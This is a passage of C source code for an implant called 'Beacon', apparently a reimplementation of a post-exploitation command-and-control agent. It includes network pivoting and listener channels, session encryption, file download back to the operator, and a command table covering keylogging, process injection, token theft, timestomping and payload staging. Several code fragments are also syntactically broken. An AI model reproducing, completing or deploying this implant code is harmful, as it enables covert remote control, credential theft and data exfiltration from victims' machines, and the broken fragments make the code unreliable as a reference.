for (CHANNEL_ENTRY* ch = gChannels; ch; ch = (CHANNEL_ENTRY*)ch->next)
if (ch->id == id)
ch->state = CHANNEL_STATE_0;
gChannels = newChannel;
}
long long ChannelGetId()
{
return 0x4000000 + gChannelIdCount++ % 0x4000000;
}
void ChannelLSocketBind(char* buffer, int length, int ipAddress)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
SOCKET sock = ChannelSocketCreateAndBind(ipAddress, port, 10);
if (sock == INVALID_SOCKET)
{
LERROR("Could not bind to %d", port);
BeaconErrorD(ERROR_SOCKET_CREATE_BIND_FAILED, port);
return;
}
int newId = ChannelGetId();
ChannelAdd(sock, newId, 0, CHANNEL_TYPE_BIND, port, CHANNEL_STATE_2);
}
void ChannelLSocketTcpPivot(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
SOCKET sock = ChannelSocketCreateAndBind(INADDR_ANY, port, 10);
if (sock == INVALID_SOCKET)
{
LERROR("Could not bind to %d", port);
BeaconErrorD(ERROR_SOCKET_CREATE_BIND_FAILED, port);
return;
}
int newId = ChannelGetId();
ChannelAdd(sock, newId, 0, CHANNEL_TYPE_TCP_PIVOT, port, CHANNEL_STATE_2);
}
void ChannelListen(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int id = BeaconDataInt(&parser);
short port = BeaconDataShort(&parser);
SOCKET sock = ChannelSocketCreateAndBind(INADDR_ANY, port, 1);
if (sock == INVALID_SOCKET)
{
BeaconOutput(CALLBACK_CLOSE, buffer, sizeof(id));
return;
}
ChannelAdd(sock, id, 180000, CHANNEL_TYPE_LISTEN, port, CHANNEL_STATE_2);
}
void ChannelConnect(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int channelId = BeaconDataInt(&parser);
short port = BeaconDataShort(&parser);
int bufferSize = BeaconDataLength(&parser);
bufferSize = min(bufferSize, 1024 - 1);
char* b = BeaconDataBuffer(&parser);
memcpy(buffer, b, bufferSize);
buffer[bufferSize] = 0;
NetworkInit();
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);
if (sock == INVALID_SOCKET)
goto close;
HOSTENT* lHostent = gethostbyname(buffer);
if (!lHostent)
goto close;
struct sockaddr_in sockaddr;
memcpy(&sockaddr.sin_addr, lHostent->h_addr, lHostent->h_length);
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htons(port);
int argp = 1; // 1 = non-blocking
if (ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR)
goto close;
if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR)
if (WSAGetLastError() != WSAEWOULDBLOCK)
goto close;
ChannelAdd(sock, channelId, 30000, CHANNEL_TYPE_CONNECT, 0, CHANNEL_STATE_2);
return;
close:
closesocket(sock);
BeaconOutput(CALLBACK_CLOSE, buffer, sizeof(channelId));
}
void ChannelClose(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int channelId = BeaconDataInt(&parser);
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if(channel->state != CHANNEL_STATE_0 &&
channel->id == channelId &&
channel->type != CHANNEL_TYPE_BIND)
{
channel->state = CHANNEL_STATE_0;
}
}
}
void ChannelSend(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int channelId = BeaconDataInt(&parser);
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state == CHANNEL_STATE_1 && channel->id == channelId)
{
length = BeaconDataLength(&parser);
buffer = BeaconDataBuffer(&parser);
fd_set exceptfds;
fd_set writefds;
int timeout = GetTickCount() + 30000;
struct timeval lTimeval = { 0, 100 };
while (GetTickCount() < timeout)
{
FD_ZERO(&writefds);
FD_ZERO(&exceptfds);
FD_SET((SOCKET)channel->socket, &writefds);
FD_SET((SOCKET)channel->socket, &exceptfds);
select(0, NULL, &writefds, &exceptfds, &lTimeval);
if (FD_ISSET((SOCKET)channel->socket, &exceptfds))
break;
if (FD_ISSET((SOCKET)channel->socket, &writefds))
{
int sent = send((SOCKET)channel->socket, buffer, length, 0);
if (sent != SOCKET_ERROR)
break;
if (WSAGetLastError() != WSAEWOULDBLOCK)
break;
Sleep(1000);
}
}
}
}
}
void ChannelLSocketClose(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state != CHANNEL_STATE_0 && channel->port == port)
if (channel->type == CHANNEL_TYPE_BIND || channel->type == CHANNEL_TYPE_TCP_PIVOT)
channel->state = CHANNEL_STATE_0;
}
}
int ChannelReceiveDataInternal(SOCKET socket, char* buffer, int length)
{
int total = 0;
while (total < length)
{
int received = recv(socket, buffer + total, length - total, 0);
buffer += received;
total += received;
if (received == SOCKET_ERROR)
{
shutdown(socket, SD_BOTH);
closesocket(socket);
return SOCKET_ERROR;
}
}
return total;
}
int ChannelReceiveData()
{
#define CHANNEL_BUFFER_SIZE 0x100000
if(!gChannelBuffer)
gChannelBuffer = malloc(CHANNEL_BUFFER_SIZE);
if(!gChannels)
return 0;
int size = 0;
int numProcessedChannels = 0;
for(CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if(channel->state != CHANNEL_STATE_1)
continue;
*(int*)gChannelBuffer = htonl(channel->id);
int ioctlresult = ioctlsocket((SOCKET)channel->socket, FIONREAD, &size);
size = min(size, CHANNEL_BUFFER_SIZE - sizeof(int));
if(ioctlresult == SOCKET_ERROR)
goto callback_close;
if (size)
{
int totalReceived = ChannelReceiveDataInternal((SOCKET)channel->socket,
gChannelBuffer + sizeof(int), size);
if (totalReceived == SOCKET_ERROR)
goto callback_close;
if (totalReceived == size)
{
BeaconOutput(CALLBACK_READ, gChannelBuffer, size + sizeof(int));
numProcessedChannels++;
}
}
continue;
callback_close:
channel->state = CHANNEL_STATE_0;
BeaconOutput(CALLBACK_CLOSE, gChannelBuffer, sizeof(int));
}
return numProcessedChannels;
}
void ChannelRemoveAllInactive()
{
CHANNEL_ENTRY* prev = NULL;
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = prev->next)
{
if (!channel->state)
{
if (channel->lastActive != 0)
{
if (GetTickCount() - channel->lastActive > 1000)
{
if (channel->type == CHANNEL_TYPE_CONNECT)
{
shutdown((SOCKET)channel->socket, SD_BOTH);
}
if (!closesocket((SOCKET)channel->socket) || channel->type != CHANNEL_TYPE_BIND)
{
if (prev == NULL)
{
gChannels = channel->next;
free(channel);
return;
}
prev->next = channel->next;
free(channel);
continue;
}
}
}
else
{
channel->lastActive = GetTickCount();
}
}
notClosed:
prev = channel;
}
}
void ChannelHandleActivity()
{
fd_set writefds;
fd_set exceptfds;
fd_set readfds;
int channelId = 0;
struct timeval timeout = { 0, 100 };
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state != CHANNEL_STATE_2)
continue;
channelId = htonl(channel->id);
FD_ZERO(&writefds);
FD_ZERO(&exceptfds);
FD_ZERO(&readfds);
FD_SET((SOCKET)channel->socket, &writefds);
FD_SET((SOCKET)channel->socket, &exceptfds);
FD_SET((SOCKET)channel->socket, &readfds);
select(0, &readfds, &writefds, &exceptfds, &timeout);
SOCKET sock = (SOCKET)channel->socket;
if (channel->type == CHANNEL_TYPE_BIND)
{
if (FD_ISSET(sock, &readfds))
{
sock = accept(channel->socket, NULL, NULL);
int argp = 1; // 1 = non-blocking
if (ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR)
{
closesocket(sock);
return;
}
channelId = ChannelGetId();
ChannelAdd(sock, channelId, 180000, CHANNEL_TYPE_CONNECT, 0, CHANNEL_STATE_1);
formatp locals;
BeaconFormatAlloc(&locals, 128);
BeaconFormatInt(&locals, channelId);
BeaconFormatInt(&locals, channel->port);
int cbLength = BeaconFormatLength(&locals);
char* cbData = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_ACCEPT, cbData, cbLength);
BeaconFormatFree(&locals);
}
} else
{
if (channel->type == CHANNEL_TYPE_TCP_PIVOT)
{
if (FD_ISSET(sock, &readfds))
{
sock = accept(channel->socket, NULL, NULL);
PROTOCOL protocol;
ProtocolTcpInit(&protocol, sock);
LinkAdd(&protocol, channel->port | HINT_PROTO_TCP | HINT_REVERSE);
}
} else
{
int type;
if (FD_ISSET(sock, &exceptfds))
{
channel->state = CHANNEL_STATE_0;
type = CALLBACK_CLOSE;
}
else if (FD_ISSET(sock, &writefds))
{
channel->state = CHANNEL_STATE_1;
type = CALLBACK_CONNECT;
}
else if (FD_ISSET(sock, &readfds))
{
sock = accept(channel->socket, NULL, NULL);
channel->socket = sock;
if (socket == INVALID_HANDLE_VALUE)
{
channel->state = CHANNEL_STATE_0;
type = CALLBACK_CLOSE;
}
else
{
channel->state = CHANNEL_STATE_1;
type = CALLBACK_CONNECT;
}
closesocket(sock);
}
else if (GetTickCount() - channel->creationTime > channel->timeoutPeriod)
{
channel->state = CHANNEL_STATE_0;
type = CALLBACK_CLOSE;
}
BeaconOutput(type, &channelId, sizeof(channelId));
}
}
}
}
void ChannelHandleAll(void)
{
ChannelHandleActivity();
DWORD timeout = GetTickCount() + 3500;
while (ChannelReceiveData() > 0 && GetTickCount() < timeout) {}
ChannelRemoveAllInactive();
}
================================================
FILE: Beacon/channel.h
================================================
#pragma once
void ChannelListen(char* buffer, int length);
void ChannelLSocketTcpPivot(char* buffer, int length);
void ChannelLSocketClose(char* buffer, int length);
void ChannelLSocketBind(char* buffer, int length, int ipAddress);
void ChannelConnect(char* buffer, int length);
void ChannelClose(char* buffer, int length);
void ChannelSend(char* buffer, int length);
================================================
FILE: Beacon/command.h
================================================
#pragma once
#define COMMAND_SPAWN 1
#define COMMAND_SHELL 2
#define COMMAND_DIE 3
#define COMMAND_SLEEP 4
#define COMMAND_CD 5
#define COMMAND_KEYLOG_START 6
#define COMMAND_NOOP 6
#define COMMAND_KEYLOG_STOP 7
#define COMMAND_CHECKIN 8
#define COMMAND_INJECT_PID 9
#define COMMAND_UPLOAD 10
#define COMMAND_DOWNLOAD 11
#define COMMAND_EXECUTE 12
#define COMMAND_SPAWN_PROC_X86 13
#define COMMAND_CONNECT 14
#define COMMAND_SEND 15
#define COMMAND_CLOSE 16
#define COMMAND_LISTEN 17
#define COMMAND_INJECT_PING 18
#define COMMAND_CANCEL_DOWNLOAD 19
#define COMMAND_PIPE_ROUTE 22
#define COMMAND_PIPE_CLOSE 23
#define COMMAND_PIPE_REOPEN 24
#define COMMAND_TOKEN_GETUID 27
#define COMMAND_TOKEN_REV2SELF 28
#define COMMAND_TIMESTOMP 29
#define COMMAND_STEAL_TOKEN 31
#define COMMAND_PS_LIST 32
#define COMMAND_PS_KILL 33
#define COMMAND_PSH_IMPORT 37
#define COMMAND_RUNAS 38
#define COMMAND_PWD 39
#define COMMAND_JOB_REGISTER 40
#define COMMAND_JOBS 41
#define COMMAND_JOB_KILL 42
#define COMMAND_INJECTX64_PID 43
#define COMMAND_SPAWNX64 44
#define COMMAND_INJECT_PID_PING 45
#define COMMAND_INJECTX64_PID_PING 46
#define COMMAND_PAUSE 47
#define COMMAND_LOGINUSER 49
#define COMMAND_LSOCKET_BIND 50
#define COMMAND_LSOCKET_CLOSE 51
#define COMMAND_STAGE_PAYLOAD 52
#define COMMAND_FILE_LIST 53
#define COMMAND_FILE_MKDIR 54
#define COMMAND_FILE_DRIVES 55
#define COMMAND_FILE_RM 56
#define COMMAND_STAGE_PAYLOAD_SMB 57
#define COMMAND_WEBSERVER_LOCAL 59
#define COMMAND_ELEVATE_PRE 60
#define COMMAND_ELEVATE_POST 61
#define COMMAND_JOB_REGISTER_IMPERSONATE 62
#define COMMAND_SPAWN_POWERSHELLX86 63
#define COMMAND_SPAWN_POWERSHELLX64 64
#define COMMAND_INJECT_POWERSHELLX86_PID 65
#define COMMAND_INJECT_POWERSHELLX64_PID 66
#define COMMAND_UPLOAD_CONTINUE 67
#define COMMAND_PIPE_OPEN_EXPLICIT 68
#define COMMAND_SPAWN_PROC_X64 69
#define COMMAND_JOB_SPAWN_X86 70
#define COMMAND_JOB_SPAWN_X64 71
#define COMMAND_SETENV 72
#define COMMAND_FILE_COPY 73
#define COMMAND_FILE_MOVE 74
#define COMMAND_PPID 75
#define COMMAND_RUN_UNDER_PID 76
#define COMMAND_GETPRIVS 77
#define COMMAND_EXECUTE_JOB 78
#define COMMAND_PSH_HOST_TCP 79
#define COMMAND_DLL_LOAD 80
#define COMMAND_REG_QUERY 81
#define COMMAND_LSOCKET_TCPPIVOT 82
#define COMMAND_ARGUE_ADD 83
#define COMMAND_ARGUE_REMOVE 84
#define COMMAND_ARGUE_LIST 85
#define COMMAND_TCP_CONNECT 86
#define COMMAND_JOB_SPAWN_TOKEN_X86 87
#define COMMAND_JOB_SPAWN_TOKEN_X64 88
#define COMMAND_SPAWN_TOKEN_X86 89
#define COMMAND_SPAWN_TOKEN_X64 90
#define COMMAND_INJECTX64_PING 91
#define COMMAND_BLOCKDLLS 92
#define COMMAND_SPAWNAS_X86 93
#define COMMAND_SPAWNAS_X64 94
#define COMMAND_INLINE_EXECUTE 95
#define COMMAND_RUN_INJECT_X86 96
#define COMMAND_RUN_INJECT_X64 97
#define COMMAND_SPAWNU_X86 98
#define COMMAND_SPAWNU_X64 99
#define COMMAND_INLINE_EXECUTE_OBJECT 100
#define COMMAND_JOB_REGISTER_MSGMODE 101
#define COMMAND_LSOCKET_BIND_LOCALHOST 102
================================================
FILE: Beacon/crypto.c
================================================
#include "pch.h"
#include "crypto.h"
int gHashSha256;
int gAesCipher;
char gCbcKey[16];
char gHmacKey[16];
char gIv[16];
symmetric_key gRijndaelSymkey;
symmetric_CBC gEncryptCbc;
void CryptoSetupSha256AES(char* in)
{
#define INIT_VECTOR "abcdefghijklmnop"
char mask[sizeof(gCbcKey) + sizeof(gHmacKey)];
long maskLen = sizeof(mask);
register_hash(&sha256_desc);
gHashSha256 = find_hash(sha256_desc.name);
if (hash_memory(gHashSha256, (unsigned char*)in, 16, mask, &maskLen) != CRYPT_OK)
{
exit(1);
}
memcpy(gCbcKey, mask, sizeof(gCbcKey));
memcpy(gHmacKey, mask + sizeof(gCbcKey), sizeof(gHmacKey));
memcpy(gIv, INIT_VECTOR, STRLEN(INIT_VECTOR));
register_cipher(&aes_desc);
gAesCipher = find_cipher(aes_desc.name);
if(rijndael_setup(gCbcKey, sizeof(gCbcKey), 0, &gRijndaelSymkey) != CRYPT_OK)
{
exit(1);
}
}
void EncryptSessionData(char* pubkey, char* in, int inlen, char* out, int* outlen)
{
register_prng(&sprng_desc);
int prng_idx = find_prng(sprng_desc.name);
ltc_mp = ltm_desc;
rsa_key key;
if(rsa_import((unsigned char*)pubkey, 162, &key) != CRYPT_OK)
{
exit(1);
}
if (rsa_encrypt_key_ex(in, inlen, out, outlen, "Zz", STRLEN("Zz"), 0, prng_idx, 0, LTC_PKCS_1_V1_5, &key))
{
exit(1);
}
}
int CryptoAesHmacEncrypt(char* buffer, int length)
{
length += 16 - (length % 16);
if(cbc_start(gAesCipher, gIv, gCbcKey, sizeof(gCbcKey), 0, &gEncryptCbc) != CRYPT_OK)
{
exit(1);
}
if (cbc_encrypt(buffer, buffer, length, &gEncryptCbc) != CRYPT_OK)
{
exit(1);
}
if (cbc_done(&gEncryptCbc) != CRYPT_OK)
{
exit(1);
}
int outlen = 16;
if (hmac_memory(gHashSha256, gHmacKey, sizeof(gHmacKey), buffer, length, buffer + length, &outlen) != CRYPT_OK)
{
exit(1);
}
return length + 16;
}
================================================
FILE: Beacon/crypto.h
================================================
#pragma once
void CryptoSetupSha256AES(char* in);
void EncryptSessionData(char* pubkey, char* in, int inlen, char* out, int* outlen);
================================================
FILE: Beacon/data.c
================================================
#include "pch.h"
#include "beacon.h"
datap* BeaconDataAlloc(int size)
{
datap* parser = (datap*)malloc(sizeof(datap));
if (!parser)
return NULL;
char* buffer = (char*)malloc(size);
if (!buffer)
{
free(parser);
return NULL;
}
memset(buffer, 0, size);
BeaconDataParse(parser, buffer, size);
return parser;
}
void BeaconDataFree(datap* parser)
{
BeaconDataZero(parser);
free(parser->original);
free(parser);
}
void BeaconDataParse(datap* parser, char* buffer, int size) {
*parser = (datap){ buffer, buffer, size, size };
}
char* BeaconDataPtr(datap* parser, int size)
{
if (parser->length < size)
return NULL;
char* data = parser->buffer;
parser->length -= size;
parser->buffer += size;
return data;
}
int BeaconDataInt(datap* parser)
{
if (parser->length < sizeof(int))
return 0;
int data = ntohl(*(int*)parser->buffer);
parser->length -= sizeof(int);
parser->buffer += sizeof(int);
return data;
}
short BeaconDataShort(datap* parser)
{
if (parser->length < sizeof(short))
return 0;
short data = ntohs(*(short*)parser->buffer);
parser->length -= sizeof(short);
parser->buffer += sizeof(short);
return data;
}
char BeaconDataByte(datap* parser)
{
if (parser->length < sizeof(char))
return 0;
char data = *(char*)parser->buffer;
parser->length -= sizeof(char);
parser->buffer += sizeof(char);
return data;
}
char* BeaconDataStringPointer(datap* parser)
{
int size = BeaconDataInt(parser);
if (size == 0)
return NULL;
return BeaconDataPtr(parser, size);
}
char* BeaconDataStringPointerCopy(datap* parser, int size)
{
char* buffer = (char*)malloc(size);
BeaconDataStringCopy(parser, buffer, size);
return buffer;
}
int BeaconDataStringCopySafe(datap* parser, char* buffer, int size)
{
if (parser->length == 0)
return 0;
int bufferSize = parser->length + 1;
if (bufferSize >= size)
return 0;
char* ptr = BeaconDataPtr(parser, parser->length);
if (!ptr)
return 0;
memcpy(buffer, ptr, parser->length);
buffer[parser->length] = 0;
return bufferSize;
}
int BeaconDataStringCopy(datap* parser, char* buffer, int size)
{
int bufferSize = parser->length + 1;
if (bufferSize >= size)
return 0;
memcpy(buffer, parser->buffer, parser->length);
buffer[parser->length] = 0;
return bufferSize;
}
char* BeaconDataOriginal(datap* parser)
{
return parser->original;
}
char* BeaconDataBuffer(datap* parser)
{
return parser->buffer;
}
int BeaconDataLength(datap* parser)
{
return parser->length;
}
char* BeaconDataLengthAndString(datap* parser, sizedbuf* sb)
{
int size = BeaconDataInt(parser);
char* data = BeaconDataPtr(parser, size);
*sb = (sizedbuf){ data, size };
return sb->buffer;
}
char* BeaconDataExtract(datap* parser, int* size)
{
sizedbuf sb;
BeaconDataLengthAndString(parser, &sb);
if (size)
*size = sb.size;
if (sb.size == 0)
return NULL;
return sb.buffer;
}
void BeaconDataZero(datap* parser)
{
memset(parser->original, 0, parser->size);
}
================================================
FILE: Beacon/download.c
================================================
#include "pch.h"
#include "download.h"
#include "beacon.h"
typedef struct DOWNLOAD_ENTRY
{
int fid;
int remainingData;
FILE* file;
struct DOWNLOAD_ENTRY* next;
} DOWNLOAD_ENTRY;
DOWNLOAD_ENTRY* gDownloads = NULL;
int gDownloadFid = 0;
void DownloadCancel(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int fid = BeaconDataInt(&parser);
for (DOWNLOAD_ENTRY* download = gDownloads; download; download = download->next)
{
if (download->fid == fid)
{
download->remainingData = 0;
fclose(download->file);
}
}
}
void DownloadDo(char* buffer, int length)
{
#define MAX_FILENAME 2048
#define MAX_BUFFER 2048
datap* locals = BeaconDataAlloc(MAX_FILENAME + MAX_BUFFER);
char* lpFileName = BeaconDataPtr(locals, MAX_FILENAME);
char* lpBuffer = BeaconDataPtr(locals, MAX_BUFFER);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopy(&parser, lpFileName, MAX_FILENAME);
FILE* file = fopen(lpFileName, "rb");
if (file == INVALID_HANDLE_VALUE || file == NULL)
{
LERROR("Could not open '%s'", lpFileName);
BeaconErrorS(ERROR_DOWNLOAD_OPEN_FAILED, lpFileName);
goto cleanup;
}
fseek(file, 0, SEEK_END);
long long fileSize = _ftelli64(file);
fseek(file, 0, SEEK_SET);
if (fileSize == INVALID_FILE_SIZE)
{
LERROR("File '%s' is either too large (>4GB) or size check failed");
BeaconErrorS(ERROR_DOWNLOAD_SIZE_CHECK_FAILED, lpFileName);
fclose(file);
goto cleanup;
}
fileSize = (int)fileSize; // Now this truncates to 32-bit safely
int fullPathSize = GetFullPathNameA(lpFileName, MAX_FILENAME, lpBuffer, NULL);
if (fullPathSize > MAX_FILENAME)
{
LERROR("Could not determine full path of '%s'"; , lpFileName);
BeaconErrorS(ERROR_DOWNLOAD_PATH_TOO_LONG, lpFileName);
fclose(file);
goto cleanup;
}
DOWNLOAD_ENTRY* download = malloc(sizeof(DOWNLOAD_ENTRY));
*download = DOWNLOAD_ENTRY{
.fid = gDownloadFid++,
.remainingData = fileSize,
.file = file,
.next = gDownloads
};
gDownloads = download;
formatp format;
BeaconFormatAlloc(&format, MAX_FILENAME + MAX_BUFFER);
BeaconFormatInt(&format, download->fid);
BeaconFormatInt(&format, fileSize);
BeaconFormatAppend(&format, lpBuffer, fullPathSize);
int cbLength = BeaconDataLength(&format);
char* cbBuffer = BeaconDataOriginal(&format);
BeaconOutput(CALLBACK_FILE, cbBuffer, cbLength);
BeaconFormatFree(&format);
cleanup:
BeaconDataFree(locals);
}
void Upload(char* buffer, int length, char* mode)
{
char* lpFileName = malloc(0x400);
if(lpFileName == NULL)
return;
datap parser;
BeaconDataParse(&parser, buffer, length);
int filenameSize = BeaconDataStringCopySafe(&parser, lpFileName, 0x400);
if (filenameSize == 0)
goto cleanup;
FILE* file = fopen(lpFileName, mode);
if (file == INVALID_HANDLE_VALUE || file == NULL)
{
DWORD lastError = GetLastError();
LERROR("Could not upload file: %s", LAST_ERROR_STR(error));
BeaconErrorD(ERROR_UPLOAD_OPEN_FAILED, lastError);
goto cleanup;
}
int remaining = BeaconDataLength(&parser);
char* data = BeaconDataBuffer(&parser);
fwrite(data, sizeof(char), remaining, file);
fclose(file);
cleanup:
free(lpFileName);
}
void DownloadCloseSafely(DOWNLOAD_ENTRY* download)
{
if (download->remainingData != 0)
return;
int id = htonl(download->fid);
BeaconOutput(CALLBACK_FILE_CLOSE, (char*)&id, sizeof(int));
fclose(download->file);
}
typedef struct DOWNLOAD_CHUNK
{
int fid;
char remainingData[0x80000];
} DOWNLOAD_CHUNK;
void DownloadFileChunk(DOWNLOAD_ENTRY* download, int chunkMaxSize)
{
static DOWNLOAD_CHUNK* gDownloadChunk;
if(gDownloadChunk)
return;
gDownloadChunk = malloc(sizeof(DOWNLOAD_CHUNK));
gDownloadChunk->fid = htonl(download->fid);
int toRead = min(chunkMaxSize, download->remainingData);
int totalRead = 0;
while (toRead)
{
const int read = fread(gDownloadChunk->remainingData + totalRead, 1, toRead, download->file);
if (!read)
{
download->remainingData = 0;
break;
}
download->remainingData -= read;
totalRead += read;
toRead -= read;
}
BeaconOutput(CALLBACK_FILE_WRITE, (char*)&gDownloadChunk, totalRead + sizeof(int));
DownloadCloseSafely(download);
}
void DownloadHandleAll(int chunkMaxSize)
{
DOWNLOAD_ENTRY* prev = NULL;
for (DOWNLOAD_ENTRY* download = gDownloads; download; download = download->next)
{
if (download->remainingData == 0)
{
if (prev == NULL)
{
gDownloads = download->next;
free(download);
return;
}
prev->next = download->next;
free(download);
}
else
{
DownloadFileChunk(download, chunkMaxSize);
prev = download;
}
}
}
================================================
FILE: Beacon/download.h
================================================
#pragma once
void DownloadDo(char* buffer, int length);
void DownloadCancel(char* buffer, int length);
void Upload(char* buffer, int length, char* mode);
================================================
FILE: Beacon/error.h
================================================
#pragma once
#define ERROR_OPEN_TOKEN_FAILED 1
#define ERROR_MAXIMUM_LINKS_REACHED 2
#define ERROR_CONNECT_TO_PIPE_TIMEOUT 4
#define ERROR_LENGTHY_WIDECHAR_COMMAND 7
#define ERROR_UPLOAD_OPEN_FAILED 8
#define ERROR_POST_IMPERSONATE_TOKEN_FAILED 12
#define ERROR_COPY_FAILED 13
#define ERROR_MOVE_FAILED 14
#define ERROR_PARENT_PROCESS_NOT_IN_SAME_SESSION 15
#define ERROR_WRITE_TO_PROC_MEMORY_FAILED 16
#define ERROR_ADJUST_PERMISSIONS_FAILED 17
#define ERROR_INJECT_X86_INTO_X64 18
#define ERROR_INJECT_X64_INTO_X86 19
#define ERROR_CONNECT_TO_PIPE_FAILED 20
#define ERROR_SOCKET_CREATE_BIND_FAILED 21
#define ERROR_CREATE_TOKEN_FAILED 24
#define ERROR_IMPERSONATE_TOKEN_FAILED 25
#define ERROR_LOCAL_ALLOC_FAILED 31
#define ERROR_OPEN_PROCESS_FAILED 33
#define ERROR_SET_PID_FAILED 34
#define ERROR_KILL_FAILED 35
#define ERROR_OPEN_PROCESS_TOKEN_FAILED 36
#define ERROR_IMPERSONATE_STEAL_TOKEN_FAILED 37
#define ERROR_DUPLICATE_TOKEN_FAILED 38
#define ERROR_IMPERSONATE_LOGGED_ON_USER_FAILED 39
#define ERROR_DOWNLOAD_OPEN_FAILED 40
#define ERROR_SPAWN_PROCESS_AS_USER_FAILED 41
#define ERROR_SPAWN_PROCESS_FAILED 48
#define ERROR_STAGER_VIA_PIPE_CONNECTION_FAILED 50
#define ERROR_LIST_OPEN_FAILED 52
#define ERROR_RUN_AS_USER_FAILED 53
#define ERROR_OPEN_PROCESS_TOKEN_PRIVS_FAILED 59
#define ERROR_DOWNLOAD_SIZE_CHECK_FAILED 60
#define ERROR_DOWNLOAD_PATH_TOO_LONG 61
#define ERROR_ADJUST_ARGUMENTS_FAILED 65
#define ERROR_REAL_FAKE_ARGS_NO_MATCH 66
#define ERROR_ADJUST_ARGUMENTS_BY_ARCH_FAILED 67
#define ERROR_CONNECT_TO_TARGET_FAILED 68
#define ERROR_SPAWN_TOKEN_AND_CREDS 69
#define ERROR_STAGER_VIA_TCP_CONNECTION_FAILED 70
#define ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED 71
#define ERROR_CREATE_REMOTE_THREAD_FAILED 72
#define ERROR_ALLOC_SECTION_FAILED 73
#define ERROR_SPAWN_TOKEN_EXTENDED_STARTUPINFO 74
#define ERROR_RESOLVE_API_FAILED 76
#define ERROR_RELOCATION_TRUNCATED_TO_FIT 77
#define ERROR_NO_SLOT_FOR_FUNCTION 78
#define ERROR_UNIMPLEMENTED_RELOCATION_TYPE 79
================================================
FILE: Beacon/filesystem.c
================================================
#include "pch.h"
#include "filesystem.h"
#include "beacon.h"
void FilesystemCd(char* buffer, int length)
{
char path[1024];
if (length > sizeof(path))
return;
strncpy(path, buffer, length);
path[length] = '\0';
SetCurrentDirectoryA(path);
}
void FilesystemPwd()
{
char data[2048];
int length = GetCurrentDirectoryA(sizeof(data), data);
if (length == 0)
return;
BeaconOutput(CALLBACK_PWD, data, length);
}
void FilesystemMkdir(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
char* path = BeaconDataStringPointerCopy(&parser, 0x4000);
// Create the directory
CreateDirectoryA(path, NULL);
free(path);
}
void FilesystemMove(char* buffer, int length)
{
#define MAX_SRC 0x2000
#define MAX_DST 0x2000
datap* locals = BeaconDataAlloc(MAX_SRC + MAX_DST);
char* src = BeaconDataPtr(locals, MAX_SRC);
char* dst = BeaconDataPtr(locals, MAX_DST);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, src, MAX_SRC);
BeaconDataStringCopySafe(&parser, dst, MAX_DST);
// Move the file
if(!MoveFileA(src, dst))
{
DWORD lastError = GetLastError();
LERROR("Move failed: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_MOVE_FAILED, lastError);
}
BeaconDataFree(locals);
}
void FilesystemCopy(char* buffer, int length)
{
#define MAX_EXISTING_FILENAME 0x2000
#define MAX_NEW_FILENAME 0x2000
datap* locals = BeaconDataAlloc(MAX_EXISTING_FILENAME + MAX_NEW_FILENAME);
char* existingFileName = BeaconDataPtr(locals, MAX_EXISTING_FILENAME);
char* newFileName = BeaconDataPtr(locals, MAX_NEW_FILENAME);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, existingFileName, MAX_EXISTING_FILENAME);
BeaconDataStringCopySafe(&parser, newFileName, MAX_NEW_FILENAME);
// Copy the file
if (!CopyFileA(existingFileName, newFileName, FALSE))
{
DWORD lastError = GetLastError();
LERROR("Copy failed: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_COPY_FAILED, lastError);
}
BeaconDataFree(locals);
}
void FilesystemDrives(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
formatp locals;
BeaconFormatAlloc(&locals, 128);
int value = BeaconDataInt(&parser);
BeaconFormatInt(&locals, value);
int logicalDrives = GetLogicalDrives();
BeaconFormatPrintf(&locals, "%u", logicalDrives);
int size = BeaconFormatLength(&locals);
char* data = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_PENDING, data, size);
BeaconFormatFree(&locals);
}
void FilesystemList(char* buffer, int length)
{
#define MAX_FILENAME 0x4000
char* filename = malloc(MAX_FILENAME);
*filename = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, length);
int reqno = BeaconDataInt(&parser);
BeaconDataStringCopySafe(&parser, filename, MAX_FILENAME);
formatp locals;
BeaconFormatAlloc(&locals, 0x200000);
BeaconFormatInt(&locals, reqno);
#define SOURCE_DIRECTORY "\\*"
if(!strncmp(filename, "." SOURCE_DIRECTORY, MAX_FILENAME))
{
GetCurrentDirectoryA(MAX_FILENAME, filename);
strncat_s(filename, MAX_FILENAME, SOURCE_DIRECTORY, STRLEN(SOURCE_DIRECTORY));
}
BeaconFormatPrintf(&locals, "%s\n", filename);
WIN32_FIND_DATAA findData;
HANDLE firstFile = FindFirstFileA(filename, &findData);
